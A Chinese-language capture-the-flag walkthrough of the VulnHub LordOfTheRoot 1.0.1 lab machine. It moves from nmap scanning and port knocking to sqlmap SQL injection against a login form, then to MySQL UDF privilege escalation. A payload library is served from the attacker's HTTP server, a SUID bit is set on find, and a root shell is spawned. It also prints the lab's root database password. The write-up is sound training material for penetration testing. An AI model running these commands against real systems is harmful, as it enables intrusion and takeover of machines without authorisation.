LordOfTheRoot_1.0.1靶机入侵
1、环境搭建
下载地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
下载后用 VMware 或者 VirtualBox 打开,并配置好网卡,靶机与攻击机应置于同一网络下,靶机默认是桥接模式,能用攻击机连接到就行。这里连接到虚拟网卡1。
2、信息收集
-
主机发现
使用nmap进行主机探测(-sP参数也可):nmap -sn 192.168.110.1/24
192.168.110.137,为靶机ip,也可以使用Kali中的arp-scan工具扫描:arp-scan 192.168.110.1/24
-
端口扫描
使用nmap扫描端口,并做服务识别和深度扫描(加-A参数):nmap -p- -A 192.168.110.138
扫描结果显示只开启了22端口ssh服务
3、漏洞探测
-
端口碰撞
尝试登录ssh服务
发现提示 knock Easy as 1,2,3 意思是敲击三次 端口碰撞
端口碰撞原理
端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。
一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。
端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。
当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
要求
端口碰撞要求 知道端口碰撞的序列 否则暴力破解几率很小
Easy as 1,2,3 碰撞序列为1 ,2,3
使用knock碰撞(敲门),按指定顺序碰撞指定的端口
knock 192.168.110.138 1 2 3 -v
也可以用nmap
for x in 1 2 3;do nmap -Pn --max-retries 0 -p $x 192.168.110.138;done
碰撞后再次扫描端口(那台电脑碰撞的就用哪台扫描)
发现还开放了1337端口
-
目录扫描
使用dirsearch对网站扫描
在404页面的源码中发现了一串编码
解码得到一个目录
访问发现是一个登录页面
-
SQL注入
测试发现页面存在SQL注入,查看mysql当前登录用户,是否有DBA权限,以及当前数据库名
sqlmap -u http://192.168.110.138:1337/978345210/index.php --data="password=admin&submit=+Login+&username=admin" -p password --current-user --current-db --is-dba
注入得到账号密码(延时注入过程有点久·······)
得到5个账号密码,试着登录一下
网站的登录后没什么有用信息
4、权限提升
这里可以使用内核提权,我这使用udf提权
先想办法找到mysql中root用户的账号和密码
在网站登录页源码中找到了:root/darkshadow
首先看一下是否满足写入条件:
满足udf条件
查看插件目录:
show variables like '%plugin%';
查看是否可以远程登录 若可以远程登陆可以用msf提权
use mysql;
select user,host from user;
并不能
可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。
或者udf exploit提权那个的函数执行系统命令
do_system
本次使用lib_mysqludf_sys
Linux系统中使用.so后缀的,sqlmap中的这两个文件经过了编码,不能直接使用。这里用的是msf里面的
python开启http服务,让靶机下载提权.so文件
python2语法:
python -m SimpleHTTPServer 8080
python3语法:
python -m http.server 8080
靶机进入到/tmp目录wget下载udf.so文件
mysql -uroot -pdarkshadow //进入mysql
use mysql //切换到mysql数据库
create table udf (line blob); //创建表,用于存放本地传来的udf文件的内容。
insert into udf values(load_file('/tmp/udf.so')); //在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so';
//将udf文件内容传入新建的udf.so文件中,路径根据自己的@@basedir修改
create function sys_eval returns string soname 'udf.so'; 创建自定义函数
select * from mysql.func; //查看函数
select sys_eval('chmod u+s /usr/bin/find');
//调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令(这里想象空间很大,可以把当前用户加入管理组,也可以是其他命令等等)
find / -exec '/bin/sh' \; //执行提权
成功拿到flag